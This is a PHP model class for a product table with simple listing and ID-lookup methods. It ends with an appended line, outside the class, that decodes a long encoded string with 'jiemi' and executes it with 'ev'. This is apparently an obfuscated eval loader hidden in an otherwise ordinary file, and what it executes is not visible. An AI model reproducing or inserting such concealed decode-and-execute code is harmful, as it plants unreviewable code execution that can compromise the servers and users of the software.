<?php
class productModel extends model{
	public $base;
	function __construct(&$base){
		parent::__construct($base);
		$this->base=$base;
		$this->table="product";
		
	}
	
	public function kclist(){
		$option=array(
			"where"=>"status<10"
		);
		$data=$this->select($option);
		if($data){
			foreach($data as $k=>$v){
				$t[$v['id']]=$v;
			}
			return $t;
		}
		return false;
	}
	
	public function id_list($option){
		$data=$this->select($option);
		if($data){
			foreach($data as $k=>$v){
				$t[$v['id']]=$v;
			}
			return $t;
		}
		return false;
	}
	
	public function getListByIds($ids){
	 
		if(!empty($ids)){
			$option['where']=" id in("._implode($ids).")";
			$data=parent::select($option);
			 
			if($data){
				$list=array();
				foreach($data as $k=>$v){
					$list[$v['id']]=$v;
				}
				return $list;
			}
		}
		return false;
	}
	
}

ev(jiemi('JTJBJTEzNiUxMyUxQTklRkU3JUY1JUY2JTA2JTFFJTJCJTJBJUZBJTJDJUY0JUY1JTEzJUZCLiUxOSUxRTUlMUMlMjklMTElMUElRjklMjglMTQlMjYlMDclMEQlMTY3JTBCJTA2JTE4JUZDOSUxRiVGNS4lMjclMTYlRjgtJUZBNyUyNiVGQSUxMyUxQSVGNyVGQiVGQSUxMiUyNiUzQSUyRiUwRSUwRSUxNSUwRTElMEYlM0MlRjklMTMlMTMlMDYlM0QlM0IlMTclMDc1JTA4LiUwRSVGOSUwRTklRjclM0YlMTElRjAyJTI2JTJCJTBDJUY0JUZEJTE0JTFGJTBEJUZCJUY0JTFFLiUzQi4lMTktJTJCJTE0JTI4JUZDJUY4JUY4JTI5JTE0JTE1OSUzRi04NSVGOCUwNiUyQyUxNiUxOCVGQyUyRjQlRkIlMTQ4JTFBJUZFJUZEJTA5JTNCLiUxQyUwQyUzRCUzQyUwQS05JTEyJTFFJUY3JTBFJTA5MyUxOSVGNiUxRiVGNiVGQS03JTE0OCUxQyVGQSUwNiVGMCUwRiUxNSUxMyUyRiUxQSUzQyUwQyUyOSUzRiUyRiUxOSUwRSUwRS4lRjclMDYlMkIlRkMlMUM5NSUzRCUxQiUwOCUz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